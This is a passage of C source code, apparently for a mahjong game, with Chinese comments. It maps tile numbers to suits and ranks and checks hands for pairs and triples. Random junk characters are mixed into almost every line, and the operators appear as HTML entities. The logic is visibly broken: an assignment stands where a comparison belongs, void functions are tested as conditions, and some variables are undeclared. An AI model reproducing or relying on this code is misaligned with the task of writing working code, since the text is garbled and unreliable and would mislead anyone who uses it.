5 \7 J4 L" m* Helse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)- ]- Z, p4 y, x7 ?6 x! {
logoo=5;4 i0 X3 P+ ]0 F) @/ O4 O
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
' B6 _. ^! b* K3 G1 P" Plogoo=6;/ J4 d& o) ?  }7 r: L' @
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
) W1 O' k" |, E8 vlogoo=7;
* n; N2 a% d) N) |else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
! n6 ?8 v1 ^! zlogoo=8;1 i) X% O6 S& U6 }& d, _
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)0 y' u5 x. I3 L4 l/ N4 q0 ]! @/ p
logoo=9;
4 U# R9 p- k/ w! Z* V% B}; A, D( g3 U; W$ h* K4 K3 H
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
5 f8 e$ C) _  ?{
- O9 S# x* r' M' m' }! q8 Zlogo=3;
: T8 @4 y8 _$ S: w! sif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
- e$ O* e+ R# R: |) Mlogoo=1;
1 Y6 B/ s5 R) T, u- z8 welse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
# Z( t, A3 K2 a, A) zlogoo=2;
0 {# _7 A/ N% i1 L$ gelse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80), Y" V1 Z+ p6 I
logoo=3;
( l# M7 i$ B5 a" b* xelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
5 u0 p; }( H/ a0 slogoo=4;' N: V7 m& Y' n# o8 X
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)/ B8 r# A( k2 c, F% q& L
logoo=5;1 T0 M" H  k& S7 d6 K, Z
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
$ G4 Q. P. z* `- o! zlogoo=6;0 N# g* n1 r. s
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)5 I+ P+ o3 w+ X$ T- ?( b, m$ v
logoo=7;
- a- V; j1 m, u* uelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
% u0 @+ J+ z& f# D- L: blogoo=8;6 z+ z& s. T1 }- v
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
( d$ G4 l  v7 }+ Alogoo=9;3 l3 m) m3 }; K. t, R- i$ B) s+ r
}
9 A  V* W' ~; P  kelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
3 l6 ~2 k! `& ^% Z& w+ k{
$ {& _6 l4 A$ Q) n4 b/ z# _3 Tlogo=4;
9 B% D0 n1 p# A8 j8 G( s' W3 |if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108): g5 V* E$ \1 d, c- n
logoo=1;
( |! }* }/ p9 j  Melse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)( P% W5 g( o- H" T8 J( m
logoo=2;, c0 l! T$ Y) \9 e
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
6 k5 u4 t6 [# @$ _( m# Ulogoo=3;# t* `6 h% E0 l$ }! R$ g
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)  F, ~4 k+ Z$ j9 r
logoo=4;) r) Q' G5 j6 i# q7 E* A
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
1 S# U. f7 L) u6 p- Q4 K+ a8 ^6 ~logoo=5;
5 s: ?/ Z9 d! ]* C( p+ Relse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)* F, v6 g6 h4 I$ u& s- p0 g" q/ j
logoo=6;# j; E7 K6 j6 J4 y# Y" ]5 i' D! l
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
) N: \* K/ V+ j& d, f- K- W9 Mlogoo=7;9 Z' ^3 `' P# x0 s/ h' O/ j8 }6 ^
}9 \2 D6 A6 b( r2 J
while(b&lt;=me.m)$ o% a! u2 H/ e% l0 V3 T1 Z$ ?1 r! L5 h
{" {" p0 d% B& \4 X
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/  F1 f; Q5 W9 \0 Q$ \: p3 R
{
" g6 N0 C( l4 x2 R6 clg=1;6 \# i. g5 H( M% q9 G& V  T! Q6 D9 ^
me.pp.d[0]=1;
  m, O2 |  K$ `. b6 Z: |- J! kif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
, W/ m" u( X8 m# q" Z9 o" S{$ e$ S& O4 S% t4 u, r( P( ]
lgg=1;
0 ]( b# g& z5 X$ c1 ^& E* }me.pp.d[1]=1;* e3 y' d0 s  h; S
}4 z, Y5 w( Y% v7 I! O! R
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)- s" m  q2 k6 R
{' s) h% K$ e# l. @* R8 I
lgg=2;
" F& [7 N: [; R) O  j0 }me.pp.d[1]=2;
: j: B( V& \/ r, K! o" M$ i# W}
$ ~4 c% z) x1 L6 R$ ]( X& Welse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
$ J+ F, |# e% @: a{
$ B0 {6 A" @. U5 `/ K7 Y# Algg=3;. [! {- `$ C- a. Y, U
me.pp.d[1]=3;5 A; v. r! c: i  b& u
}0 i2 }3 K& |% p) Q# c
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12). s) \! h( `5 s( g8 B
{
9 D4 G  A& B* I- g1 klgg=4;, ^# j) ]3 Q# ?3 u4 c: Q6 q* Q
me.pp.d[1]=4;
, @' t+ Y9 y) P' }( e. s}% h# J0 W# D5 R/ h8 K
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
" Q% P6 J8 B2 ]: K! H{
" o1 S/ j0 I& rlgg=5;! Q# h) l7 y4 Y7 q! }. u& j
me.pp.d[1]=5;
9 |( G2 o5 i% [! U}
7 j2 m5 l" W0 u4 E( U) pelse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)7 [, u" E# V: ]% M. N. n
{
! R% w( j2 `, N  b9 S( V* V" @lgg=6;, m. |' H1 i! d" ?, j! J/ U8 Z9 r
me.pp.d[1]=6;
+ K, ]: X4 |" X, L( Y}
/ N9 b$ h8 W; L9 ~8 c  W% t4 Gelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
4 |- |2 D3 }9 H7 |' i: U{' X2 K. l9 I7 u, k- q: y7 z
lgg=7;
# G& @& X) P7 C2 I4 y* l9 Cme.pp.d[1]=7;
% Z" ]2 y& I, S' F! [9 n5 ?}
+ D- B2 b: {) L8 [else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
$ b/ [' N7 ~6 k. U% h: F{
; h* {* \" o7 a$ ^lgg=8;* C$ E1 {9 W$ j8 p; Z: }! o; P* s
me.pp.d[1]=8;
+ c0 T5 J9 O+ [. f- o* l}
4 _2 v$ A. K( Uelse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)" f5 o$ O( U0 c3 G, s" @2 |
{
: d* O0 M: y0 \- olgg=9;- K+ x; E' A- |* T" {0 {0 L* X
me.pp.d[1]=9;9 F4 ]. |# A3 |( Z9 D
}; k8 W+ k0 c2 Z0 t% e% L
}
4 z; {9 o& V& y$ O) S1 s: I5 uelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)$ s' _0 C+ w3 h7 t/ g2 }( Y
{& |( L! T7 ^9 A/ e; j
lg=2;5 f( [$ P, k. J8 H& `
me.pp.d[0]=2;
& r6 Q5 V! E3 _1 d( r! vif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
, [5 b! z; Z: N/ N0 z* G; P{( S* v: x' z$ T* ~
lgg=1;; I3 O3 F/ V! ?' z/ t
me.pp.d[1]=1;
1 y/ ?$ E6 F/ t% |$ k}
, `+ e  y% I8 l* Jelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)" G' z3 }, L: U8 A. E$ N
{+ M2 b: T5 o! d4 U* Y' O0 X
lgg=2;
. E$ b8 H" X' N* I  b. G. c* E4 xme.pp.d[1]=2;. k3 |( c9 {. D
}
9 c$ j$ c: Q* J) P1 jelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)  i( I8 b. L# ?. c, {" ~' `
{
0 ~: R; f, t) q  {$ T* w+ ^% j$ llgg=3;
5 r  B% ~/ ~/ O; ~5 Q2 C* Jme.pp.d[1]=3;- g  E7 {. J! a: s  _
}
9 ]# ~% u* X  kelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
/ K6 ]" B" y2 X8 ~% V, w+ y{7 f$ o' q0 o9 H* P# |" v0 O4 g; P& L
lgg=4;
6 Q& ~$ R# |9 P8 b  W4 eme.pp.d[1]=4;5 e  W  W" Y" A+ H* N! z
}
& ?  l1 M- l$ j7 P) q' d& selse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52); x1 Z1 k2 X5 _' M8 C! b: ~
{  [. j8 O* K! N0 ^. _
lgg=5;
/ Z. U- ]( q9 W; I7 h( ?' K" lme.pp.d[1]=5;
! ^" ~( }' W) `' C# u7 V}; q# _" ]" {' N
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56); k/ r' f7 k0 i( H. w! N# M& S
{" u' M! c; S7 z8 k, a5 {
lgg=6;
; C* c6 @4 p1 |% |, Gme.pp.d[1]=6;3 a; f3 d7 k( L* c0 O
}
* J' G( g6 C$ m' }else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
. d2 p. ]  a* D{* y0 w6 q5 \) H( x4 B) K. c
lgg=7;( S3 ^$ C) Q, }# M& J- Z# z
me.pp.d[1]=7;0 V( ]3 d5 W" n8 d& u
}
. R1 u4 ^) {& W. B# D. s- y# }1 Telse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
+ p. K' ?! m; R8 E: n{! ^2 ~: V0 w+ V+ s2 x
lgg=8;
, L* [+ A4 J) yme.pp.d[1]=8;6 f% I8 ~) n. y+ g/ r$ q
}# F& M. {3 g8 ~$ H( Z
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
# k( i4 A5 ]5 @0 A# Z4 b' o{
9 v3 k8 ~$ r/ y+ q! Q! \: Q  J2 llgg=9;
( P8 m; \7 p* g/ |me.pp.d[1]=9;1 d* |$ ^8 h( p1 `
}/ P1 R; B1 }2 F& s! Z
}
+ U3 H1 N4 q4 S( O( t/ ^else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)0 u4 p" l% T/ y- k
{2 M# ]% \) H2 o& z* a
lg=3;1 n4 w. G+ \. p6 h8 Q7 N6 A, i( Y
me.pp.d[0]=3;# h  [, b7 b4 t
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
( d7 I; q7 N* T$ i{# B- U1 e% W- l1 x+ p5 y9 u( u, E  F* E
lgg=1;
- A7 f) u, |2 X- X1 Dme.pp.d[1]=1;+ m+ D+ i4 w& B. }' ?9 ]. [7 ]$ {
}
) b  X) M# x: w  @else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
* y3 S) e, ^1 d7 J9 Z: L5 B4 O5 Y{
' [) [; U% }+ E9 C3 \$ \# A, ^lgg=2;
  Y5 Y) o/ k$ Zme.pp.d[1]=2;
, W4 r+ d% X! z$ h0 ~}" z! z0 B* O2 b. f0 l7 j: z% J
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
# P! Z% k0 ~7 U! l& K* |# m{
: S7 T4 c- e/ ^' S" ~; M. ilgg=3;
, d" o& B  O( e* c% s" Mme.pp.d[1]=3;  U0 q2 N& w1 o5 j5 a
}
8 x3 _% `+ Q: j7 T8 w0 x+ S% y6 |else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)% Q/ g- b8 k8 Q# F" U' A6 W8 O
{, n- X# }6 N( K! c: ]8 V
lgg=4;- K0 G" \' _) b! X
me.pp.d[1]=4;
9 P# X3 i2 T% r. K* _}
# O* _* B- f- q7 H0 i% Belse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)$ O8 p2 }: `& t5 r. g3 _) n+ x* I+ s
{, h/ P# m% J* a$ g7 C
lgg=5;
6 j% I% m, n7 @) Nme.pp.d[1]=5;
0 t& G/ v, ^# D/ D( e+ j}2 L5 f! U% y7 c# t# S
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
7 n! t4 w) j7 J: v{- W( f$ }! {# b$ j1 S4 Z1 }  ?
lgg=6;* s0 h* n  U; c
me.pp.d[1]=6;
9 d$ h6 p& n. A* b  q}9 k) N/ k. w. a; O4 N' F; C0 X
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)5 s+ V( y: t& Z6 @
{: `+ E0 y: S5 Z( I5 W" Z2 K0 ~  @
lgg=7;
6 z% m+ g  v4 |) y& u+ Ume.pp.d[1]=7;- J7 H- [4 b8 d0 Y! R. j
}1 M( v, E" v' [( d
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)" f0 K$ r5 v; d- V8 I
{8 X: w" N* m  U( f; c% h" c# @
lgg=8;+ k7 x: f. l6 _/ t
me.pp.d[1]=8;: q2 L8 r6 y8 T$ A; x
}
2 a8 i! _8 m1 g" g9 g5 i8 felse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)' d1 \. j8 |( n* k3 d+ J4 P4 A
{
" o0 k' u( c: I) k: R) j: N" \lgg=9;$ P: p4 |. Q/ Q  {1 |! K
me.pp.d[1]=9;- i( j; ?1 ]0 q5 q9 z
}
( D0 V' M& z$ n$ F5 n8 v}
1 W5 j" z* T+ d. d4 I  w6 u$ I8 ^else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)& W) e3 [  F% ^/ o' S. U& d
{
/ _: w# _8 O3 l* O- rlg=4;
$ C1 [2 K; k$ h7 Eme.pp.d[0]=4;6 B+ J( ?' ^3 o+ v% M; H7 |1 G
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
8 T5 `' i- o' E, I6 A{
  Y: F: Y% @9 y1 elgg=1;. H0 A- W& y- g/ R: N% L9 ~! v* d
me.pp.d[1]=1;
7 [# p' f6 P% L7 G" G# [" R}: ~; s7 I* o2 F
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
" ?2 r; T/ r/ p3 y$ f6 P6 S% Z{% X- T$ t, V! m6 s( g# J7 w
lgg=2;
5 l3 x+ ~4 p  S+ Z# @* I, zme.pp.d[1]=2;
! R: X3 G( F. [: h8 k}
- x$ o+ H( K/ p' ?" I8 ~else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
3 @4 v( b/ {: ]2 G{
/ u, b. ?0 n, |* m/ E2 j6 V4 |' q+ [lgg=3;' R$ c8 q" d1 q+ r# a: d
me.pp.d[1]=3;
6 @6 _5 e9 e3 k1 b5 A: i}- X7 Z* X+ z$ s: U4 ]; F
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)/ B  r3 }! p3 ]9 F- p
{
' r; i$ e% @( U8 Ulgg=4;6 `7 s, J9 x% _% f
me.pp.d[1]=4;7 [/ r4 l' ^" N
}1 B8 O" k, \1 g! d$ h3 B" u4 f
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)- ?: R& G) |( ^  b- [# ^2 [
{# h" i) e0 Q! q
lgg=5;
( l' T/ l/ f! d' n+ dme.pp.d[1]=5;- W* u0 {; _2 M
}! U' ?; C# R+ Q& n
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
" s6 B; r7 |& B) U- I{* O8 a# Y0 t) V9 l* K4 n
lgg=6;
  q6 M, `! L/ dme.pp.d[1]=6;
# i; ?4 A9 s( h* F! T}9 G2 s1 |1 d! f2 L# o
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
+ @+ Y: G- ~: G* X{
) M! ]) [  y$ ~2 E+ {lgg=7;
! d$ _# P2 G$ A$ o! wme.pp.d[1]=7;
9 d4 C) _* Y0 O; i4 `6 V5 V) E}
6 {% i+ [/ y& T" N4 W  N/ k}
- ^/ k5 R; ~! t) \}# @$ A1 D7 H2 A5 y& a
}
1 H  y6 P7 t6 M1 b" Jvoid istwo(testt)$ t& ^( A/ Y/ y/ S! ^4 w1 p
int testt[];7 P' f% p/ W3 s5 C9 q% |+ b
{ if(testt[0]==testt[1])3 s* }" A. H  F5 H5 f$ Z8 z
second++;  d7 [2 s4 a- a
}
; K+ O1 k) r- J; D$ h' }void isthree(testt,n)1 L! U/ R  H% ~. _0 `1 B+ a
int testt[],n=0;
  S; R5 C- b4 B3 S- N  c' X) Z{ int i,j,flage=0,lianx=0,same=0;8 K9 e4 ~9 k( {7 ~1 w$ K9 O
n=n/3;
# Y8 G$ O- L- [8 G0 Gfor(j=0;j&lt;n;j++)7 Y: s5 E% y* w1 y. K( t
{
: `) E5 R4 G( I" Y8 @$ t, Pfor(i=j*3;i&lt;2+j*3;i++)6 N" i5 q4 q$ [- S, J. p% b9 V' f
{; G! x9 ~- e' ]
if(testt==testt[i+1])4 U1 Q( {( g+ d- A9 y$ I4 `
same++;
0 Z1 A  q3 T; ~% a: \  |if(testt[i+1]-testt==1)
  E! }+ B' B/ D7 Q2 ^$ J/ t: p/ w7 Glianx++;" z. _1 D0 G5 T8 [! r" ^
}& |# n! ]( [3 q0 ]$ m0 }5 O
if(same==2)
: X  G# E5 @; U9 fthrees++;
, b# V3 S' T  E! t7 mif(lianx==2)
; C6 Y4 v+ m) Q* G) I! uthrees++;$ q/ F% H" Q( n0 h2 `+ H
same=0;
, e6 B& w! \7 q  K9 U: H8 ^lianx=0;
0 {9 L' _& a  t/ A$ D, i}- j3 I" C+ c5 M0 ?7 @
}: f3 Y9 @1 ?" I$ b. Z- u
void panduan() /*本程序的精髓*/
' e- K( X. _9 b, d1 F{int data[14];
5 F* S1 R# G) x* ?7 Jint pw[14];
9 N7 m# I: C5 s3 ?. l0 K; Nint pt[14];
6 [- Q! n/ M0 W  D/ l" Pint pi[14];
" _7 X' D5 L2 Xint pf[14];% S; R$ {, N5 s+ V1 b7 Y' W% V
int test[12];
8 G  N! [5 x9 f8 vint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
& [3 ?! V) {2 I* i4 e( b( Ifor(jj=0;jj&lt;=me.m;jj++)$ ~# Q- r; ]7 F0 |: S6 d
{
0 M4 Z; E; u- c9 I% Bif(me.pp[jj].d[0]==1)% ?3 u! C8 m3 k
data[jj]=me.pp[jj].d[1];
( _/ `( ?5 i" _  T- lif(me.pp[jj].d[0]==2)
; z% r- [; X7 P, c6 Z- b5 V( adata[jj]=me.pp[jj].d[1]+10;2 _' R; E4 M1 ?
if(me.pp[jj].d[0]==3)
% y( F2 N# ?. W7 ~; Wdata[jj]=me.pp[jj].d[1]+20;
3 e6 p% e& e! f% s2 ~; Vif(me.pp[jj].d[0]==4)( p/ G5 e6 Y. }6 L
data[jj]=me.pp[jj].d[1]+30;
, ~( a! f" z$ H}
' A7 G$ _: w; @if(logo==2)
: M) i+ H" ~8 i* g9 R. S$ q6 Jw=logoo+10;
8 O% \$ s- V6 ^; N) l  ]1 Iif(logo==3). C( z- s0 p! ~. g) T$ o9 e& U! z
w=logoo+20;
1 Z- K; l; ~& g# K7 O, S" ~if(logo==4)
; I( ]6 Y+ W3 o: y" m/ D# c6 \w=logoo+30;# `, Q6 d8 q0 |
data[computer.m+1]=w;
/ M. T7 [9 r9 y9 @- `! Ufor(mm=0;mm&lt;=computer.m;mm++)& k5 {* d/ t# y6 d5 a" @
for(nn=mm;nn&lt;=computer.m;nn++)  D2 N9 N$ z$ k* T& t
if(data[mm]&gt;data[nn+1])& K9 \- e! {# M
{- \! H, L, y$ C9 E3 v5 {
tpp=data[mm];; h% x, X  k2 g8 S. c; e
data[mm]=data[nn+1];% _) |2 B. G: q# E6 l( `" x
data[nn+1]=tpp;
# S9 |% H8 u. p6 ^$ D}4 X$ t& l; [& [/ R- C
lp=0;) j5 F1 T% A1 g
while(lp&lt;=computer.m)5 q) y$ j2 Z$ R+ d3 y- g. R
{ if(data[lp]&lt;10)/ |1 G. o+ }& L8 v. t
pw[ww++]=data[lp];
# X- q. `3 X! Q2 N) F6 L% tif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
2 \* z/ b& U+ p* l- B" Y! [% Z- L1 opt[tt++]=data[lp];/ Z3 I, E, N. t. a! d
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
7 m" W! q  u! spi[ii++]=data[lp];
* [, X' U0 Y9 |( y7 m2 dif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)% o1 ]. t2 e+ t6 m0 F. ~
pf[ff++]=data[lp];
  _. z$ T9 D/ Elp++;
0 S1 Q# H9 b3 x) P6 d}
. T" O! v& A& z* i. T+ Kif(ww==2)2 a4 @0 A6 @$ O2 ^& g9 h
istwo(pw);/ {( x, c3 c! d7 A0 U4 X1 t7 U. x7 j
else if(ww==3)
' Z$ y5 \0 S+ @0 j5 d3 J4 Qisthree(pw,ww);9 v$ D. z" _% C2 p0 i' u
else if(ww==5)% Y$ M0 c0 |! d+ R' H3 Y8 F
/*pw[5]原始牌数组,假设已经升序排列*/) ~+ u8 t: \3 G, v; c
/*test[3]用来放置测试牌的数组*/
( @) a) o+ p" u0 Bfor(i=0;i&lt;4;i++)/ E, X% J6 {; |7 C: }8 s: p
{9 k8 j+ X7 J+ R, ~' y
for(j=0;j&lt;2;j++)' m3 L7 l7 F. `+ J2 h
{test[j]=pw[i+j];) V9 b+ k) X% q4 S& V. U
}
) f* h* O9 `( Q% r% B1 I+ }if(istwo(test))' C- }1 O& w, Z. p
{ ill=0;8 s1 l. e* B6 u/ T$ H: s
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
$ a0 s" k. F; r{if(kl==i)8 E, j# X7 K1 q4 ^+ M9 T2 [
{( o/ j" T0 B8 G  L
kl=kl+2;- w5 J, \$ i$ U, c/ l) }
if(kl==5)+ _: g( H7 u, F, h7 t: F) g0 t
break;# z( [% y+ E1 R8 \8 d
}# O4 p% N" k4 X* R
test[ill++]=pw[kl];
* @7 @. Y8 O5 @}9 z0 l5 k) E% d! X3 ~
isthree(test);
; v9 A2 z- L: Y, m# U}
0 w/ K, H6 a% g1 _6 t# ~}% r% G+ P5 B! C- f
else if(ww==6)
% i- b- t' H" f4 fisthree(pw,ww); 9 r2 ]$ L: `/ w7 f0 G( ?+ C; e
else if(ww==8)
& ], F3 Z9 o: l6 U" \! Tfor(i=0;i&lt;7;i++)
" ]. ]( \7 L+ y, g{2 x0 h+ S# w  O- a0 S
for(j=0;j&lt;2;j++)
" @5 I* r1 _, I, b/ g) B{test[j]=pw[i+j];
/ P# X2 C$ O4 a}
, ]6 V+ l* [# Yif(istwo(test))/ o" k. a2 x( A/ X+ E) P
{ ill=0;
4 U0 ~" t# t" q1 p! p- h% T+ bfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
7 ^, v- G1 N. w/ t( J{if(kl==i)
1 C) a4 p) r: H$ Y* m. ]% L% G{" N7 U% M4 q) f/ A* Y% d  _- g
kl=kl+2;/ T2 o2 M& f' T9 F: H
if(kl==8)
4 n% t* H# c- @6 obreak;
, Q. f' p% `9 y# N# e}
; N3 B( e: a, m. Jtest[ill++]=pw[kl];0 P0 E: r  n  p' L6 b
}; d% Q# h) D9 \
isthree(test,ww-2);
$ y7 @: K% n! T- e+ W}- }) E7 Y, E, T
} $ v' o8 l( k0 Z; n+ ]$ u. f
else if(ww==9)% r8 o2 R+ H3 V
isthree(pw,ww);
  M2 Y9 o7 H) Y( _  s( Jelse if(ww==11)
, w0 L' X  J5 Lfor(i=0;i&lt;10;i++)
1 M, v+ l. l. X* q{) \# Z% h0 N' D; n! y3 s  N
for(j=0;j&lt;2;j++)
# Q* o) }' H& I5 Z9 n* A, e{test[j]=pw[i+j];
+ T/ x+ d) \5 r/ j. j}
5 ]  d5 K: u( F6 P- R' Rif(istwo(test))0 @% g4 H+ Z" j# }" W" V7 K- s+ J
{ ill=0;
2 k8 v7 i+ q% D0 L& {' {$ v" ffor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/; N  `. t3 ?" O5 m
{if(kl==i)6 U7 U9 U& T) A' ~( ^# G
{
# q, M) D/ q* j. Zkl=kl+2;
+ ]4 l2 b8 n$ b* Tif(kl==11)
& H3 C; r5 H+ y+ f% ubreak;
' P/ G3 Y  u8 ~. @1 Q3 {}
8 j6 [/ p* J1 q6 F# {/ K& n6 \test[ill++]=pw[kl];$ t2 ~9 l8 Y2 ]9 _4 c6 g- a1 Y/ ~
}; P0 ^. J1 {9 G# R/ `+ o9 |
isthree(test,ww-2); 8 u( O4 k' B0 d! i/ H0 \
}
# {/ G- N* Q# b( ^% b} # g/ i7 o8 `) u- }7 g
else if(ww=12)7 \- W( K: t, S4 w+ q9 U
isthree(pw,ww);6 ^8 d% S% F* C1 k+ e
else if(ww=14)
3 N8 O) `; N/ t; x% c9 ?for(i=0;i&lt;13;i++)
* E2 ~2 E" w4 ^6 H+ {" p{
/ z3 _$ l1 |+ l' M* n! ]* n0 Lfor(j=0;j&lt;2;j++)
2 j: l8 |- q  }5 \+ |! T{test[j]=pw[i+j];
' x9 L+ H* v( |9 H7 b8 P# n- ?2 d1 Y}
3 p7 j- V" V% Z- \& Wif(istwo(test))% r& d8 z: q: T7 Q
{ ill=0;
2 X) a0 I2 |: s  Xfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. w- x6 ?' {- \* t4 ?, S7 }8 J3 h  m{if(kl==i)' w) d/ k+ E3 x/ x
{4 P! {$ a( Y& V, H9 T4 r! n
kl=kl+2;' Q6 s% G) h/ W: L! ~3 S" t- b. T  s  \
if(kl==14)2 ^' j, E1 @+ s* \, i6 l$ S* i" a
break;  n" m7 D3 D$ q* {0 H- Y
}. F* D* f% P: |0 g3 p( i. J
test[ill++]=pw[kl];8 s. a* ^: f5 ?) B) x& [
}
7 K8 L/ a2 D3 Yisthree(test,ww-2); & n- t9 J9 R# d9 s
}
  F5 @, [4 X, w8 x}
1 C6 @4 c* @: U' Xif(tt==2)2 M  n% n* W, N6 b' t: d" N
istwo(pt);$ s* }* i; w! Z5 T  k
else if(tt==3)9 J: Q3 c- _& T5 o2 Z
isthree(pt,tt);# i; G8 T( K0 Q; w
else if(tt==5)
1 U: ^; }; \4 `* T/*pt[5]原始牌数组,假设已经升序排列*/% u0 o, f0 |, V1 D6 Y. Q( I# k) \
/*test[3]用来放置测试牌的数组*/+ ^% i! r2 O! R
for(i=0;i&lt;4;i++)
# j5 V  L8 d. a" R7 ~$ B{& `7 n9 I; @3 z
for(j=0;j&lt;2;j++)
% ]- f: a! K2 Z( C8 ^{test[j]=pt[i+j]; & Y8 O% h' @- y9 X4 U- n
}
; ?, d7 o; }" d% s# m$ o" k, uif(istwo(test))1 s* ^8 W: I) g) [5 M
{ ill=0;
$ h6 y* U+ [0 i$ T8 Y* W+ Rfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/( f% _) A* K  R8 L0 ?
{if(kl==i)7 d" ~; B! K; C+ y4 P! Q
{0 p5 h6 M. J, @
kl=kl+2;! ~+ n" ^/ f# `8 s4 j9 g. H* l
if(kl==5)4 y, Z( ~. Z% Q' K5 @; {
break;
9 F3 u6 W# H; r4 s* N# P}7 Y+ T! [3 }7 u6 w2 A7 L, e
test[ill++]=pt[kl];
. Y" ~9 f+ W. J1 i. n" q0 V' A# g}
! W+ p; i! ?! n6 v9 {3 M: _isthree(test);
+ G6 O3 Q- k; G7 l5 ^7 z}
. R) D$ u* X- \2 U. v}
' C% u/ E& K. v: selse if(tt==6)
3 H/ _, y; \' X* R: u* Oisthree(pt,tt); 5 \. i! u; O) A. `  f2 l
else if(tt==8)
  Z  C& @' k7 c& H* y/ h2 hfor(i=0;i&lt;7;i++)
- A; g8 V" v, h{* S4 x' E$ j# P* h5 G& Z/ Z
for(j=0;j&lt;2;j++)* u  A  l5 D9 i) ^+ I
{test[j]=pt[i+j];
' R/ D1 }' A' Q" d1 G. _}" O6 p" V8 c, @) N: Z, H6 H
if(istwo(test))! Q$ G1 B* Y* e3 j" Y" G
{ ill=0;
3 l. B4 P7 L7 w5 J# s$ ?for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/+ V. v# V3 B  Y4 s/ `* i
{if(kl==i)4 [6 g  x- s0 }- H6 I
{
# X; _3 ]2 S; Skl=kl+2;& \6 q7 K8 w- ^8 A( a1 z
if(kl==8); s/ S; l4 @% Z' D0 ~! Y! N
break;
* X( ~1 N8 c( b9 J6 n* m) V3 r}8 j# i. s- ?7 N, t6 B8 G8 O
test[ill++]=pt[kl];0 m4 g" `& C3 ]  B& D2 D5 G# E% D
}% h+ U: i& X/ r$ G5 g" z
isthree(test,tt-2);
